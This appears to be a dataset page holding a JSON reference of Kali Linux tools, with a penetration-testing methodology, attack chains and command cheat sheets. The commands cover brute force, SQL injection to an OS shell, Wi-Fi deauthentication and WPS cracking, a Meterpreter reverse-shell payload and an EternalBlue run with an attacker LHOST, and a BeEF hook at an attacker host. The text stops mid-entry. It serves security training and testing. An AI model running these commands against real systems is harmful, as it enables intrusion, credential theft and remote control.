Datasets:
Modalities:
Text
Languages:
English
Size:
10K - 100K
Tags:
cybersecurity
red-team
penetration-testing
offensive-security
vulnerability-research
exploit-development
License:
File size: 188,497 Bytes
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{
"tools": {
"kali_tools": {
"penetration_testing_methodologies.json": {
"penetration_testing_phases": {
"1_reconnaissance": {
"description": "Information gathering about the target",
"passive_recon": {
"description": "Gathering information without direct interaction",
"tools": [
"theharvester",
"shodan",
"recon-ng",
"maltego"
],
"workflow": [
"1. Start with OSINT using TheHarvester for emails/subdomains",
"2. Use Shodan for exposed services",
"3. Employ Recon-ng for comprehensive OSINT",
"4. Map relationships with Maltego"
]
},
"active_recon": {
"description": "Direct interaction with target systems",
"tools": [
"nmap",
"masscan",
"dnsenum",
"fierce"
],
"workflow": [
"1. DNS enumeration with dnsenum/fierce",
"2. Port scanning with Nmap for detailed info",
"3. Use Masscan for large network ranges",
"4. Service version detection with Nmap scripts"
]
}
},
"2_scanning": {
"description": "Identifying live systems, open ports, and services",
"network_scanning": {
"tools": [
"nmap",
"masscan",
"unicornscan"
],
"workflow": [
"1. Ping sweep to identify live hosts",
"2. Port scanning (TCP/UDP)",
"3. Service enumeration",
"4. OS fingerprinting"
]
},
"vulnerability_scanning": {
"tools": [
"openvas",
"nessus",
"nikto"
],
"workflow": [
"1. Configure vulnerability scanner",
"2. Run authenticated scans when possible",
"3. Prioritize findings by severity",
"4. Validate scanner results manually"
]
}
},
"3_enumeration": {
"description": "Extracting detailed information from identified services",
"service_enumeration": {
"smb": {
"tools": [
"enum4linux",
"smbclient",
"rpcclient"
],
"commands": [
"enum4linux -a target",
"smbclient -L //target",
"rpcclient -U '' target"
]
},
"web": {
"tools": [
"dirb",
"gobuster",
"ffuf",
"nikto"
],
"commands": [
"gobuster dir -u http://target -w wordlist.txt",
"ffuf -w wordlist.txt -u http://target/FUZZ",
"nikto -h http://target"
]
},
"dns": {
"tools": [
"dnsrecon",
"dnsenum",
"fierce"
],
"commands": [
"dnsrecon -d target.com",
"dnsenum target.com",
"fierce --domain target.com"
]
}
}
},
"4_vulnerability_assessment": {
"description": "Identifying and prioritizing vulnerabilities",
"automated_scanning": {
"tools": [
"openvas",
"nessus",
"qualys"
],
"workflow": [
"1. Configure scan policies",
"2. Run comprehensive scans",
"3. Review and validate findings",
"4. Create prioritized vulnerability list"
]
},
"manual_testing": {
"tools": [
"burpsuite",
"owasp_zap",
"sqlmap"
],
"workflow": [
"1. Proxy web traffic through Burp/ZAP",
"2. Identify injection points",
"3. Test for common vulnerabilities",
"4. Validate with specialized tools"
]
}
},
"5_exploitation": {
"description": "Attempting to exploit identified vulnerabilities",
"preparation": {
"tools": [
"searchsploit",
"metasploit",
"exploit-db"
],
"workflow": [
"1. Search for existing exploits",
"2. Understand exploit requirements",
"3. Prepare payload and listener",
"4. Test in lab environment first"
]
},
"execution": {
"tools": [
"metasploit",
"custom_exploits",
"sqlmap"
],
"workflow": [
"1. Configure exploit parameters",
"2. Set up listener/handler",
"3. Execute exploit",
"4. Verify successful exploitation"
]
}
},
"6_post_exploitation": {
"description": "Actions after gaining initial access",
"privilege_escalation": {
"windows": {
"tools": [
"winpeas",
"powersploit",
"mimikatz"
],
"workflow": [
"1. Enumerate system information",
"2. Check for misconfigurations",
"3. Look for stored credentials",
"4. Exploit identified weaknesses"
]
},
"linux": {
"tools": [
"linpeas",
"linenum",
"linux-exploit-suggester"
],
"workflow": [
"1. Check sudo privileges",
"2. Search for SUID binaries",
"3. Enumerate running services",
"4. Check for kernel exploits"
]
}
},
"persistence": {
"tools": [
"metasploit",
"empire",
"covenant"
],
"techniques": [
"Registry modifications",
"Scheduled tasks",
"Service creation",
"Backdoor accounts"
]
},
"lateral_movement": {
"tools": [
"psexec",
"wmiexec",
"evil-winrm"
],
"techniques": [
"Pass-the-hash",
"Pass-the-ticket",
"RDP hijacking",
"SSH pivoting"
]
}
},
"7_reporting": {
"description": "Documenting findings and recommendations",
"tools": [
"dradis",
"faraday",
"serpico"
],
"components": [
"Executive summary",
"Technical findings",
"Risk ratings",
"Remediation recommendations",
"Evidence and screenshots"
]
}
},
"attack_scenarios": {
"web_application_testing": {
"methodology": "OWASP Testing Guide",
"phases": {
"information_gathering": {
"tools": [
"burpsuite",
"dirb",
"gobuster"
],
"tasks": [
"Spider the application",
"Identify entry points",
"Map application structure"
]
},
"authentication_testing": {
"tools": [
"burpsuite",
"hydra",
"wfuzz"
],
"tests": [
"Password brute-force",
"Session management",
"Password reset flaws"
]
},
"injection_testing": {
"tools": [
"sqlmap",
"commix",
"burpsuite"
],
"types": [
"SQL injection",
"Command injection",
"LDAP injection",
"XPath injection"
]
},
"client_side_testing": {
"tools": [
"burpsuite",
"beef",
"owasp_zap"
],
"tests": [
"XSS testing",
"CSRF testing",
"Clickjacking",
"DOM-based vulnerabilities"
]
}
}
},
"network_penetration_testing": {
"external_assessment": {
"tools": [
"nmap",
"metasploit",
"hydra"
],
"workflow": [
"1. External reconnaissance",
"2. Perimeter scanning",
"3. Service exploitation",
"4. Post-exploitation from DMZ"
]
},
"internal_assessment": {
"tools": [
"responder",
"bloodhound",
"mimikatz"
],
"workflow": [
"1. Network discovery",
"2. Credential harvesting",
"3. Privilege escalation",
"4. Domain compromise"
]
}
},
"wireless_assessment": {
"tools": [
"aircrack-ng",
"wifite",
"reaver"
],
"workflow": [
"1. Identify wireless networks",
"2. Capture handshakes/PMKID",
"3. Attempt WPS attacks",
"4. Crack captured hashes",
"5. Test for rogue access points"
]
},
"social_engineering": {
"tools": [
"set",
"gophish",
"beef"
],
"attack_vectors": [
"Phishing emails",
"Vishing (voice phishing)",
"Physical access attempts",
"USB drop attacks",
"Pretexting scenarios"
]
}
},
"tool_combinations": {
"recon_chain": {
"description": "Comprehensive reconnaissance workflow",
"sequence": [
"theharvester -> Gather emails/subdomains",
"shodan -> Find exposed services",
"nmap -> Detailed port scanning",
"searchsploit -> Find relevant exploits"
]
},
"web_attack_chain": {
"description": "Web application attack workflow",
"sequence": [
"dirb/gobuster -> Find hidden content",
"nikto -> Identify vulnerabilities",
"burpsuite -> Manual testing",
"sqlmap -> Exploit SQL injection",
"beef -> Client-side exploitation"
]
},
"network_attack_chain": {
"description": "Network compromise workflow",
"sequence": [
"nmap -> Service discovery",
"metasploit -> Exploitation",
"mimikatz -> Credential extraction",
"psexec -> Lateral movement",
"empire -> Command and control"
]
},
"wireless_attack_chain": {
"description": "Wireless network attack workflow",
"sequence": [
"airmon-ng -> Enable monitor mode",
"airodump-ng -> Capture packets",
"aireplay-ng -> Deauth clients",
"aircrack-ng -> Crack passwords",
"bettercap -> MITM attacks"
]
}
}
},
"quick_reference.json": {
"common_commands": {
"initial_recon": [
"nmap -sn 192.168.1.0/24 # Host discovery",
"nmap -sV -sC -O target # Service and OS detection",
"dirb http://target # Web directory enumeration",
"nikto -h http://target # Web vulnerability scan"
],
"exploitation": [
"searchsploit apache 2.4 # Search for exploits",
"msfconsole # Start Metasploit",
"sqlmap -u 'http://target/page?id=1' # SQL injection",
"hydra -l admin -P passwords.txt ssh://target # Brute force"
],
"post_exploitation": [
"python -c 'import pty;pty.spawn(\"/bin/bash\")' # Spawn TTY",
"sudo -l # Check sudo privileges",
"find / -perm -u=s -type f 2>/dev/null # Find SUID binaries",
"netstat -tulpn # Check network connections"
]
},
"tool_categories_summary": {
"information_gathering": 8,
"vulnerability_analysis": 5,
"web_application_analysis": 7,
"password_attacks": 6,
"wireless_attacks": 4,
"exploitation_tools": 4,
"sniffing_spoofing": 5,
"post_exploitation": 4,
"forensics": 4,
"reverse_engineering": 4,
"reporting": 3
}
},
"kali_tools_comprehensive.json": {
"metadata": {
"collection_date": "2025-08-23T15:13:22.808429",
"version": "2024.1",
"total_tools": 54,
"categories": [
"information_gathering",
"vulnerability_analysis",
"web_application_analysis",
"password_attacks",
"wireless_attacks",
"exploitation_tools",
"sniffing_spoofing",
"post_exploitation",
"forensics",
"reverse_engineering",
"reporting"
]
},
"information_gathering": {
"description": "Tools for reconnaissance and information collection",
"tools": {
"nmap": {
"name": "Nmap",
"description": "Network exploration tool and security/port scanner",
"category": "Network Scanner",
"when_to_use": [
"Initial reconnaissance phase",
"Network discovery and mapping",
"Service and OS detection",
"Vulnerability scanning",
"Firewall/IDS evasion testing"
],
"common_commands": {
"basic_scan": "nmap -sV -sC -O target",
"stealth_scan": "nmap -sS -T2 target",
"full_port_scan": "nmap -p- target",
"udp_scan": "nmap -sU target",
"script_scan": "nmap --script vuln target",
"aggressive_scan": "nmap -A target",
"subnet_scan": "nmap 192.168.1.0/24"
},
"use_cases": {
"network_discovery": "Identify live hosts on a network",
"port_scanning": "Find open ports and services",
"os_detection": "Determine operating system versions",
"vulnerability_assessment": "Identify potential vulnerabilities",
"compliance_testing": "Verify security configurations"
},
"prerequisites": [
"Network access",
"Target IP/hostname"
],
"output_formats": [
"XML",
"Grepable",
"Normal",
"Script Kiddie"
],
"skill_level": "Beginner to Advanced",
"legal_considerations": "Only scan networks you own or have permission to test"
},
"masscan": {
"name": "Masscan",
"description": "Fastest Internet port scanner, asynchronous TCP port scanner",
"category": "Port Scanner",
"when_to_use": [
"Large-scale port scanning",
"Internet-wide surveys",
"Quick initial reconnaissance",
"When speed is priority over accuracy"
],
"common_commands": {
"basic_scan": "masscan -p80,443 192.168.1.0/24",
"rate_limited": "masscan -p0-65535 target --rate=1000",
"banner_grab": "masscan -p80 target --banners",
"output_to_file": "masscan -p22,80,443 target -oX output.xml"
},
"use_cases": {
"rapid_discovery": "Quick identification of open ports",
"large_networks": "Scanning Class A/B networks",
"initial_recon": "Fast preliminary scanning"
},
"prerequisites": [
"Root/sudo access",
"Network connectivity"
],
"skill_level": "Intermediate"
},
"recon-ng": {
"name": "Recon-ng",
"description": "Full-featured web reconnaissance framework",
"category": "OSINT Framework",
"when_to_use": [
"OSINT gathering",
"Social media reconnaissance",
"Domain/IP investigation",
"Contact harvesting",
"API-based data collection"
],
"common_commands": {
"start": "recon-ng",
"workspace": "workspaces create target_name",
"modules": "modules search",
"install_module": "marketplace install module_name",
"run_module": "modules load module_name; run"
},
"modules_categories": [
"Discovery modules",
"Exploitation modules",
"Import modules",
"Recon modules",
"Reporting modules"
],
"skill_level": "Intermediate"
},
"theharvester": {
"name": "TheHarvester",
"description": "E-mail, subdomain and people names harvester",
"category": "OSINT Tool",
"when_to_use": [
"Email address collection",
"Subdomain enumeration",
"Employee name gathering",
"Virtual host discovery"
],
"common_commands": {
"basic_search": "theharvester -d domain.com -b google",
"all_sources": "theharvester -d domain.com -b all",
"limit_results": "theharvester -d domain.com -b google -l 500",
"save_results": "theharvester -d domain.com -b all -f output"
},
"data_sources": [
"Google",
"Bing",
"Baidu",
"LinkedIn",
"Twitter",
"GitHub",
"Shodan",
"Hunter.io"
],
"skill_level": "Beginner"
},
"shodan": {
"name": "Shodan",
"description": "Search engine for Internet-connected devices",
"category": "IoT/Device Search",
"when_to_use": [
"IoT device discovery",
"Exposed database finding",
"Vulnerable system identification",
"Network device enumeration"
],
"common_commands": {
"init_api": "shodan init API_KEY",
"host_info": "shodan host IP_ADDRESS",
"search": "shodan search apache",
"count": "shodan count apache country:US",
"download": "shodan download results apache",
"parse": "shodan parse --fields ip_str,port results.json.gz"
},
"search_filters": [
"port:",
"country:",
"hostname:",
"os:",
"city:",
"org:",
"before:",
"after:"
],
"skill_level": "Beginner to Intermediate"
},
"maltego": {
"name": "Maltego",
"description": "Interactive data mining tool for link analysis",
"category": "OSINT/Link Analysis",
"when_to_use": [
"Relationship mapping",
"Infrastructure analysis",
"Social network analysis",
"Threat intelligence gathering"
],
"transform_categories": [
"DNS transforms",
"Email transforms",
"Person transforms",
"Social media transforms",
"Infrastructure transforms"
],
"skill_level": "Intermediate to Advanced"
},
"dnsenum": {
"name": "DNSenum",
"description": "DNS enumeration tool",
"category": "DNS Enumeration",
"when_to_use": [
"DNS record enumeration",
"Subdomain discovery",
"Zone transfer attempts",
"MX record identification"
],
"common_commands": {
"basic_enum": "dnsenum domain.com",
"with_threads": "dnsenum --threads 5 domain.com",
"subdomain_brute": "dnsenum -f wordlist.txt domain.com",
"save_output": "dnsenum -o output.xml domain.com"
},
"skill_level": "Beginner"
},
"fierce": {
"name": "Fierce",
"description": "DNS reconnaissance tool for locating non-contiguous IP space",
"category": "DNS Scanner",
"when_to_use": [
"IP range discovery",
"DNS server identification",
"Subdomain enumeration",
"Zone transfer testing"
],
"common_commands": {
"basic_scan": "fierce --domain example.com",
"dns_server": "fierce --domain example.com --dns-server 8.8.8.8",
"subdomain_wordlist": "fierce --domain example.com --subdomain-file wordlist.txt"
},
"skill_level": "Beginner to Intermediate"
}
}
},
"vulnerability_analysis": {
"description": "Tools for identifying and analyzing vulnerabilities",
"tools": {
"openvas": {
"name": "OpenVAS",
"description": "Full-featured vulnerability scanner",
"category": "Vulnerability Scanner",
"when_to_use": [
"Comprehensive vulnerability assessment",
"Compliance scanning",
"Network security audits",
"Continuous vulnerability monitoring"
],
"scan_types": [
"Full and fast",
"Full and deep",
"Full and very deep",
"System discovery",
"Custom scan configs"
],
"features": [
"50,000+ vulnerability tests",
"Authenticated scanning",
"Compliance checking",
"Report generation"
],
"skill_level": "Intermediate"
},
"nikto": {
"name": "Nikto",
"description": "Web server scanner",
"category": "Web Vulnerability Scanner",
"when_to_use": [
"Web server misconfiguration detection",
"Outdated software identification",
"Dangerous file detection",
"Initial web app assessment"
],
"common_commands": {
"basic_scan": "nikto -h http://target.com",
"ssl_scan": "nikto -h https://target.com -ssl",
"specific_port": "nikto -h target.com -p 8080",
"output_html": "nikto -h target.com -o report.html -Format html",
"tuning_options": "nikto -h target.com -Tuning 123456789"
},
"tuning_options": {
"1": "Interesting files",
"2": "Misconfiguration",
"3": "Information disclosure",
"4": "Injection (XSS/Script/HTML)",
"5": "Remote file retrieval",
"6": "Denial of Service",
"7": "Remote file upload",
"8": "Command execution",
"9": "SQL injection"
},
"skill_level": "Beginner"
},
"wpscan": {
"name": "WPScan",
"description": "WordPress vulnerability scanner",
"category": "CMS Scanner",
"when_to_use": [
"WordPress security assessment",
"Plugin vulnerability detection",
"Theme vulnerability scanning",
"User enumeration",
"Weak password detection"
],
"common_commands": {
"basic_scan": "wpscan --url http://target.com",
"enumerate_all": "wpscan --url http://target.com -e ap,at,u",
"aggressive": "wpscan --url http://target.com --aggressive",
"password_attack": "wpscan --url http://target.com -U admin -P passwords.txt",
"api_token": "wpscan --url http://target.com --api-token YOUR_TOKEN"
},
"enumeration_options": {
"p": "Popular plugins",
"vp": "Vulnerable plugins",
"ap": "All plugins",
"t": "Popular themes",
"vt": "Vulnerable themes",
"at": "All themes",
"u": "Users"
},
"skill_level": "Beginner to Intermediate"
},
"sqlmap": {
"name": "SQLMap",
"description": "Automatic SQL injection and database takeover tool",
"category": "SQL Injection Tool",
"when_to_use": [
"SQL injection testing",
"Database enumeration",
"Database dumping",
"Privilege escalation via SQL",
"OS command execution via SQL"
],
"common_commands": {
"basic_test": "sqlmap -u 'http://target.com/page.php?id=1'",
"post_data": "sqlmap -u http://target.com --data='user=admin&pass=pass'",
"cookie_injection": "sqlmap -u http://target.com --cookie='session=abc123'",
"dump_database": "sqlmap -u URL -D database --dump",
"os_shell": "sqlmap -u URL --os-shell",
"batch_mode": "sqlmap -u URL --batch",
"risk_level": "sqlmap -u URL --level=5 --risk=3"
},
"injection_techniques": {
"B": "Boolean-based blind",
"E": "Error-based",
"U": "Union query-based",
"S": "Stacked queries",
"T": "Time-based blind",
"Q": "Inline queries"
},
"skill_level": "Intermediate to Advanced"
},
"bed": {
"name": "BED",
"description": "Buffer overflow detection tool",
"category": "Fuzzer",
"when_to_use": [
"Buffer overflow testing",
"Protocol fuzzing",
"Service crash testing"
],
"skill_level": "Advanced"
}
}
},
"web_application_analysis": {
"description": "Tools for analyzing and testing web applications",
"tools": {
"burpsuite": {
"name": "Burp Suite",
"description": "Integrated platform for web application security testing",
"category": "Web App Testing Platform",
"when_to_use": [
"Manual web app testing",
"Automated scanning",
"API testing",
"Session manipulation",
"Custom exploit development"
],
"key_features": [
"Proxy interceptor",
"Scanner (Pro version)",
"Intruder for fuzzing",
"Repeater for manual testing",
"Sequencer for randomness testing",
"Decoder/Encoder",
"Extender for plugins"
],
"common_workflows": {
"intercept_modify": "Proxy -> Intercept -> Modify -> Forward",
"scanning": "Target -> Scan -> Review issues",
"fuzzing": "Send to Intruder -> Configure positions -> Start attack",
"session_testing": "Send to Repeater -> Modify -> Send"
},
"skill_level": "Intermediate to Advanced"
},
"owasp_zap": {
"name": "OWASP ZAP",
"description": "Zed Attack Proxy - Free web app security scanner",
"category": "Web App Scanner",
"when_to_use": [
"Automated security testing",
"CI/CD integration",
"API security testing",
"Passive scanning during browsing"
],
"scan_modes": {
"safe": "Passive scanning only",
"protected": "Scanner won't attack certain URLs",
"standard": "Active and passive scanning",
"attack": "Full attack mode"
},
"common_commands": {
"gui_mode": "zaproxy",
"daemon_mode": "zap.sh -daemon -port 8080",
"quick_scan": "zap.sh -quickurl http://target.com",
"api_scan": "zap.sh -cmd -quickurl http://api.target.com"
},
"skill_level": "Beginner to Intermediate"
},
"dirb": {
"name": "DIRB",
"description": "Web content scanner for hidden directories and files",
"category": "Directory Brute-forcer",
"when_to_use": [
"Hidden directory discovery",
"Backup file detection",
"Admin panel finding",
"Configuration file discovery"
],
"common_commands": {
"basic_scan": "dirb http://target.com",
"custom_wordlist": "dirb http://target.com /path/to/wordlist.txt",
"recursive": "dirb http://target.com -r",
"extensions": "dirb http://target.com -X .php,.txt,.bak",
"authentication": "dirb http://target.com -u username:password"
},
"skill_level": "Beginner"
},
"gobuster": {
"name": "Gobuster",
"description": "Fast directory/file & DNS busting tool",
"category": "Content Discovery",
"when_to_use": [
"Fast directory enumeration",
"DNS subdomain discovery",
"Virtual host discovery",
"S3 bucket enumeration"
],
"modes": {
"dir": "Directory/file enumeration",
"dns": "DNS subdomain enumeration",
"vhost": "Virtual host enumeration",
"s3": "S3 bucket enumeration"
},
"common_commands": {
"dir_mode": "gobuster dir -u http://target.com -w wordlist.txt",
"dns_mode": "gobuster dns -d target.com -w subdomains.txt",
"vhost_mode": "gobuster vhost -u http://target.com -w vhosts.txt",
"with_extensions": "gobuster dir -u http://target.com -w wordlist.txt -x php,txt,html",
"threads": "gobuster dir -u http://target.com -w wordlist.txt -t 50"
},
"skill_level": "Beginner"
},
"ffuf": {
"name": "FFUF",
"description": "Fast web fuzzer",
"category": "Web Fuzzer",
"when_to_use": [
"Parameter fuzzing",
"Directory discovery",
"Virtual host discovery",
"Header fuzzing"
],
"common_commands": {
"basic_fuzz": "ffuf -w wordlist.txt -u http://target.com/FUZZ",
"post_data": "ffuf -w wordlist.txt -u http://target.com -d 'param=FUZZ'",
"header_fuzz": "ffuf -w wordlist.txt -u http://target.com -H 'Header: FUZZ'",
"match_status": "ffuf -w wordlist.txt -u http://target.com/FUZZ -mc 200,301",
"filter_size": "ffuf -w wordlist.txt -u http://target.com/FUZZ -fs 1234"
},
"skill_level": "Intermediate"
},
"wfuzz": {
"name": "Wfuzz",
"description": "Web application fuzzer",
"category": "Web Fuzzer",
"when_to_use": [
"Parameter brute-forcing",
"Authentication testing",
"SQL injection fuzzing",
"XSS payload testing"
],
"common_commands": {
"basic": "wfuzz -c -z file,wordlist.txt http://target.com/FUZZ",
"post_fuzzing": "wfuzz -c -z file,wordlist.txt -d 'user=FUZZ&pass=FUZZ' http://target.com/login",
"header_fuzzing": "wfuzz -c -z file,wordlist.txt -H 'Cookie: FUZZ' http://target.com",
"hide_responses": "wfuzz -c -z file,wordlist.txt --hc 404 http://target.com/FUZZ"
},
"skill_level": "Intermediate"
},
"commix": {
"name": "Commix",
"description": "Command injection exploiter",
"category": "Command Injection Tool",
"when_to_use": [
"OS command injection testing",
"Blind command injection detection",
"Time-based injection testing"
],
"common_commands": {
"basic_test": "commix -u 'http://target.com/page.php?id=1'",
"post_method": "commix -u http://target.com --data='param=value'",
"cookie_injection": "commix -u http://target.com --cookie='session=test'",
"os_shell": "commix -u URL --os-cmd='whoami'"
},
"skill_level": "Intermediate"
}
}
},
"password_attacks": {
"description": "Tools for password cracking and authentication attacks",
"tools": {
"john": {
"name": "John the Ripper",
"description": "Fast password cracker",
"category": "Password Cracker",
"when_to_use": [
"Hash cracking",
"Password recovery",
"Password strength testing",
"Wordlist generation"
],
"common_commands": {
"basic_crack": "john hashes.txt",
"wordlist_mode": "john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt",
"show_cracked": "john --show hashes.txt",
"specific_format": "john --format=md5 hashes.txt",
"rules": "john --wordlist=wordlist.txt --rules hashes.txt",
"incremental": "john --incremental hashes.txt"
},
"supported_formats": [
"MD5",
"SHA1",
"SHA256",
"SHA512",
"NTLM",
"Kerberos",
"WPA/WPA2",
"ZIP",
"RAR",
"PDF",
"Office documents"
],
"skill_level": "Intermediate"
},
"hashcat": {
"name": "Hashcat",
"description": "Advanced GPU-based password recovery",
"category": "Password Cracker",
"when_to_use": [
"GPU-accelerated cracking",
"Large hash lists",
"Complex attack modes",
"Rule-based attacks"
],
"attack_modes": {
"0": "Straight (dictionary)",
"1": "Combination",
"3": "Brute-force",
"6": "Hybrid wordlist + mask",
"7": "Hybrid mask + wordlist"
},
"common_commands": {
"dictionary": "hashcat -m 0 -a 0 hashes.txt wordlist.txt",
"brute_force": "hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a",
"rules": "hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule",
"show_cracked": "hashcat -m 0 hashes.txt --show",
"benchmark": "hashcat -b"
},
"skill_level": "Advanced"
},
"hydra": {
"name": "Hydra",
"description": "Fast network authentication cracker",
"category": "Network Login Cracker",
"when_to_use": [
"Online password attacks",
"Service authentication testing",
"Brute-force login attempts",
"Password spraying"
],
"supported_protocols": [
"SSH",
"FTP",
"HTTP/HTTPS",
"SMB",
"RDP",
"VNC",
"Telnet",
"LDAP",
"MySQL",
"PostgreSQL",
"MSSQL",
"Oracle",
"SMTP",
"POP3",
"IMAP"
],
"common_commands": {
"ssh_attack": "hydra -l admin -P passwords.txt ssh://target.com",
"http_post": "hydra -l admin -P passwords.txt target.com http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'",
"ftp_attack": "hydra -L users.txt -P passwords.txt ftp://target.com",
"parallel": "hydra -l admin -P passwords.txt -t 4 ssh://target.com",
"verbose": "hydra -l admin -P passwords.txt -V ssh://target.com"
},
"skill_level": "Intermediate"
},
"medusa": {
"name": "Medusa",
"description": "Parallel network authentication brute-forcer",
"category": "Network Login Cracker",
"when_to_use": [
"Parallel authentication testing",
"Multiple host attacks",
"Protocol-specific attacks"
],
"common_commands": {
"basic": "medusa -h target.com -u admin -P passwords.txt -M ssh",
"multiple_users": "medusa -h target.com -U users.txt -P passwords.txt -M ssh",
"multiple_hosts": "medusa -H hosts.txt -u admin -P passwords.txt -M ssh",
"specific_port": "medusa -h target.com -u admin -P passwords.txt -M ssh -n 2222"
},
"skill_level": "Intermediate"
},
"cewl": {
"name": "CeWL",
"description": "Custom wordlist generator from websites",
"category": "Wordlist Generator",
"when_to_use": [
"Creating targeted wordlists",
"Company-specific password lists",
"Social engineering preparation",
"Domain-specific dictionaries"
],
"common_commands": {
"basic_crawl": "cewl http://target.com",
"depth_control": "cewl -d 3 http://target.com",
"min_word_length": "cewl -m 6 http://target.com",
"with_numbers": "cewl --with-numbers http://target.com",
"save_output": "cewl http://target.com -w wordlist.txt",
"email_extraction": "cewl -e http://target.com"
},
"skill_level": "Beginner"
},
"crunch": {
"name": "Crunch",
"description": "Wordlist generator",
"category": "Wordlist Generator",
"when_to_use": [
"Custom wordlist creation",
"Pattern-based passwords",
"Permutation generation",
"Charset-specific lists"
],
"common_commands": {
"basic": "crunch 6 6 abcdef123 -o wordlist.txt",
"pattern": "crunch 8 8 -t pass@@@@",
"charset": "crunch 4 6 -f charset.lst mixalpha",
"permutation": "crunch 1 3 -p abc"
},
"skill_level": "Beginner"
}
}
},
"wireless_attacks": {
"description": "Tools for wireless network security testing",
"tools": {
"aircrack-ng": {
"name": "Aircrack-ng Suite",
"description": "Complete suite for WiFi security auditing",
"category": "WiFi Auditing Suite",
"when_to_use": [
"WEP/WPA/WPA2 cracking",
"Packet capture and injection",
"Access point testing",
"Client deauthentication"
],
"suite_tools": {
"airmon-ng": "Enable monitor mode",
"airodump-ng": "Packet capture",
"aireplay-ng": "Packet injection",
"aircrack-ng": "WEP/WPA cracking",
"airbase-ng": "Fake AP creation"
},
"common_workflows": {
"monitor_mode": "airmon-ng start wlan0",
"capture_packets": "airodump-ng wlan0mon",
"target_capture": "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
"deauth_attack": "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon",
"crack_wpa": "aircrack-ng -w wordlist.txt capture.cap"
},
"skill_level": "Intermediate to Advanced"
},
"reaver": {
"name": "Reaver",
"description": "WPS PIN brute-force tool",
"category": "WPS Cracker",
"when_to_use": [
"WPS PIN attacks",
"Router vulnerability testing",
"WPS enabled AP testing"
],
"common_commands": {
"basic_attack": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX",
"verbose": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv",
"pixie_dust": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -K 1",
"delay_settings": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -d 5 -t 5"
},
"skill_level": "Intermediate"
},
"wifite": {
"name": "Wifite",
"description": "Automated wireless attack tool",
"category": "WiFi Attack Automation",
"when_to_use": [
"Automated WiFi auditing",
"Multiple network testing",
"Quick security assessments"
],
"features": [
"WEP cracking",
"WPA handshake capture",
"WPS attacks",
"PMKID attacks"
],
"common_commands": {
"auto_attack": "wifite",
"wpa_only": "wifite --wpa",
"wps_only": "wifite --wps",
"specific_target": "wifite --bssid XX:XX:XX:XX:XX:XX"
},
"skill_level": "Beginner"
},
"kismet": {
"name": "Kismet",
"description": "Wireless network detector and sniffer",
"category": "Wireless Detector",
"when_to_use": [
"Wireless network discovery",
"Hidden SSID detection",
"Client detection",
"Bluetooth device discovery"
],
"features": [
"802.11 WiFi detection",
"Bluetooth detection",
"RF monitoring",
"GPS integration"
],
"skill_level": "Intermediate"
}
}
},
"exploitation_tools": {
"description": "Tools for exploiting vulnerabilities",
"tools": {
"metasploit": {
"name": "Metasploit Framework",
"description": "Penetration testing framework",
"category": "Exploitation Framework",
"when_to_use": [
"Vulnerability exploitation",
"Payload generation",
"Post-exploitation",
"Privilege escalation",
"Persistence establishment"
],
"key_components": {
"msfconsole": "Main interface",
"msfvenom": "Payload generator",
"msfdb": "Database management",
"msfupdate": "Framework updater"
},
"common_commands": {
"start_console": "msfconsole",
"search_exploit": "search type:exploit platform:windows",
"use_module": "use exploit/windows/smb/ms17_010_eternalblue",
"set_options": "set RHOSTS target.com; set LHOST attacker.com",
"run_exploit": "exploit",
"generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
"handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
},
"module_types": {
"exploits": "Vulnerability exploitation modules",
"auxiliary": "Scanning and fuzzing modules",
"post": "Post-exploitation modules",
"payloads": "Code to run on target",
"encoders": "Payload encoding",
"nops": "No-operation generators"
},
"skill_level": "Intermediate to Advanced"
},
"searchsploit": {
"name": "SearchSploit",
"description": "Exploit database search tool",
"category": "Exploit Database",
"when_to_use": [
"Finding public exploits",
"Vulnerability research",
"PoC code discovery",
"CVE correlation"
],
"common_commands": {
"basic_search": "searchsploit apache 2.4",
"exact_match": "searchsploit -e 'Apache 2.4.49'",
"exclude_dos": "searchsploit apache --exclude='Denial'",
"copy_exploit": "searchsploit -m 12345",
"examine_exploit": "searchsploit -x 12345",
"update_db": "searchsploit -u"
},
"skill_level": "Beginner to Intermediate"
},
"beef": {
"name": "BeEF",
"description": "Browser Exploitation Framework",
"category": "Browser Exploitation",
"when_to_use": [
"Client-side attacks",
"Browser exploitation",
"Social engineering",
"XSS exploitation"
],
"features": [
"Browser hooking",
"Command modules",
"Metasploit integration",
"Social engineering toolkit"
],
"common_usage": {
"start_beef": "beef-xss",
"hook_url": "http://attacker:3000/hook.js",
"admin_panel": "http://localhost:3000/ui/panel"
},
"skill_level": "Intermediate to Advanced"
},
"social-engineer-toolkit": {
"name": "SET",
"description": "Social Engineering Toolkit",
"category": "Social Engineering",
"when_to_use": [
"Phishing campaigns",
"Credential harvesting",
"Payload delivery",
"Website cloning"
],
"attack_vectors": [
"Spear-phishing attacks",
"Website attack vectors",
"Infectious media generator",
"Wireless access point attack",
"QRCode attack vector"
],
"common_commands": {
"start_set": "setoolkit",
"menu_navigation": "1) Social-Engineering Attacks",
"website_vectors": "2) Website Attack Vectors",
"credential_harvester": "3) Credential Harvester Attack Method"
},
"skill_level": "Intermediate"
}
}
},
"sniffing_spoofing": {
"description": "Network sniffing and spoofing tools",
"tools": {
"wireshark": {
"name": "Wireshark",
"description": "Network protocol analyzer",
"category": "Packet Analyzer",
"when_to_use": [
"Network troubleshooting",
"Protocol analysis",
"Packet inspection",
"Traffic pattern analysis"
],
"key_features": [
"Deep packet inspection",
"Live capture and offline analysis",
"Rich display filters",
"VoIP analysis",
"Protocol decryption"
],
"common_filters": {
"http_traffic": "http",
"specific_ip": "ip.addr == 192.168.1.1",
"tcp_port": "tcp.port == 80",
"dns_queries": "dns.qry.name contains 'example'",
"ssl_handshake": "ssl.handshake"
},
"skill_level": "Beginner to Advanced"
},
"tcpdump": {
"name": "TCPDump",
"description": "Command-line packet analyzer",
